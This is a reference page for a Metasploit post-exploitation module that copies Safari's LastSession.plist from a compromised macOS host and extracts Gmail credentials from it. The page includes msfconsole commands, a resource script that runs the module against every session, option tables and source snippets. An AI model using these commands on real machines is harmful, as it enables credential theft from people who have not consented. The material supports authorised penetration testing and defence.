OSX Gather Safari LastSession.plist - Metasploit


This page contains detailed information about how to use the post/osx/gather/safari_lastsession metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: OSX Gather Safari LastSession.plist
Module: post/osx/gather/safari_lastsession
Source code: modules/post/osx/gather/safari_lastsession.rb
Disclosure date: -
Last modification time: 2017-09-17 16:00:04 +0000
Supported architecture(s): -
Supported platform(s): OSX
Target service / protocol: -
Target network port(s): -
List of CVEs: -

This module downloads the LastSession.plist file from the target machine. LastSession.plist is used by Safari to track active websites in the current session, and sometimes contains sensitive information such as usernames and passwords. This module will first download the original LastSession.plist, and then attempt to find the credential for Gmail. The Gmail's last session state may contain the user's credential if his/her first login attempt failed (likely due to a typo), and then the page got refreshed or another login attempt was made. This also means the stolen credential might contain typos.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


There are two ways to execute this post module.

From the Meterpreter prompt

The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:

meterpreter > run post/osx/gather/safari_lastsession

From the msf prompt

The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.

msf > use post/osx/gather/safari_lastsession
msf post(safari_lastsession) > show options
    ... show and set options ...
msf post(safari_lastsession) > set SESSION session-id
msf post(safari_lastsession) > exploit

If you wish to run the post against all sessions from framework, here is how:

1 - Create the following resource script:


framework.sessions.each_pair do |sid, session|
  run_single("use post/osx/gather/safari_lastsession")
  run_single("set SESSION #{sid}")
  run_single("run")
end

2 - At the msf prompt, execute the above resource script:

msf > resource path-to-resource-script

Required Options


  • SESSION: The session to run this module on.

Go back to menu.

Msfconsole Usage


Here is how the osx/gather/safari_lastsession post exploitation module looks in the msfconsole:

msf6 > use post/osx/gather/safari_lastsession

msf6 post(osx/gather/safari_lastsession) > show info

       Name: OSX Gather Safari LastSession.plist
     Module: post/osx/gather/safari_lastsession
   Platform: OSX
       Arch: 
       Rank: Normal

Provided by:
  sinn3r <[email protected]>

Compatible session types:
  Meterpreter
  Shell

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  SESSION                   yes       The session to run this module on.

Description:
  This module downloads the LastSession.plist file from the target 
  machine. LastSession.plist is used by Safari to track active 
  websites in the current session, and sometimes contains sensitive 
  information such as usernames and passwords. This module will first 
  download the original LastSession.plist, and then attempt to find 
  the credential for Gmail. The Gmail's last session state may contain 
  the user's credential if his/her first login attempt failed (likely 
  due to a typo), and then the page got refreshed or another login 
  attempt was made. This also means the stolen credential might 
  contain typos.

References:
  http://www.securelist.com/en/blog/8168/Loophole_in_Safari

Module Options


This is a complete list of options available in the osx/gather/safari_lastsession post exploitation module:

msf6 post(osx/gather/safari_lastsession) > show options

Module options (post/osx/gather/safari_lastsession):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on.

Advanced Options


Here is a complete list of advanced options supported by the osx/gather/safari_lastsession post exploitation module:

msf6 post(osx/gather/safari_lastsession) > show advanced

Module advanced options (post/osx/gather/safari_lastsession):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   VERBOSE    false            no        Enable detailed status messages
   WORKSPACE                   no        Specify the workspace for this module

Post Actions


This is a list of all post exploitation actions which the osx/gather/safari_lastsession module can do:

msf6 post(osx/gather/safari_lastsession) > show actions

Post actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the osx/gather/safari_lastsession post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 post(osx/gather/safari_lastsession) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

<PEER> - LastSession.plist not found


Here is a relevant code snippet related to the "<PEER> - LastSession.plist not found" error message:

164:	    #
165:	    # Downloads LastSession.plist in XML format
166:	    #
167:	    lastsession = get_lastsession
168:	    if lastsession.blank?
169:	      print_error("#{peer} - LastSession.plist not found")
170:	      return
171:	    else
172:	      p = store_loot('osx.lastsession.plist', 'text/plain', session, lastsession, 'LastSession.plist.xml')
173:	      print_good("#{peer} - LastSession.plist stored in: #{p.to_s}")
174:	    end

Unable to determine Safari version, will try to extract creds anyway


Here is a relevant code snippet related to the "Unable to determine Safari version, will try to extract creds anyway" error message:

177:	    # If this is an unpatched version, we try to extract creds
178:	    #
179:	=begin
180:	    version = get_safari_version
181:	    if version.blank?
182:	      print_warning("Unable to determine Safari version, will try to extract creds anyway")
183:	    elsif version >= "6.1"
184:	      print_status("#{peer} - This machine no longer stores session data in plain text")
185:	      return
186:	    else
187:	      vprint_status("#{peer} - Safari version: #{version}")

<PEER> - This machine no longer stores session data in plain text


Here is a relevant code snippet related to the "<PEER> - This machine no longer stores session data in plain text" error message:

179:	=begin
180:	    version = get_safari_version
181:	    if version.blank?
182:	      print_warning("Unable to determine Safari version, will try to extract creds anyway")
183:	    elsif version >= "6.1"
184:	      print_status("#{peer} - This machine no longer stores session data in plain text")
185:	      return
186:	    else
187:	      vprint_status("#{peer} - Safari version: #{version}")
188:	    end
189:	=end

Cannot read XML file, or unable to find any session data


Here is a relevant code snippet related to the "Cannot read XML file, or unable to find any session data" error message:

192:	    # Attempts to convert the XML file to an actual XML object, with the <array> element
193:	    # holding our session data
194:	    #
195:	    lastsession_xml = get_sessions(lastsession)
196:	    unless lastsession_xml
197:	      print_error("Cannot read XML file, or unable to find any session data")
198:	      return
199:	    end
200:	
201:	    #
202:	    # Look for credential in the session data.

Go back to menu.


References


See Also


Check also the following modules related to this module:

Authors


  • sinn3r

Version


This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.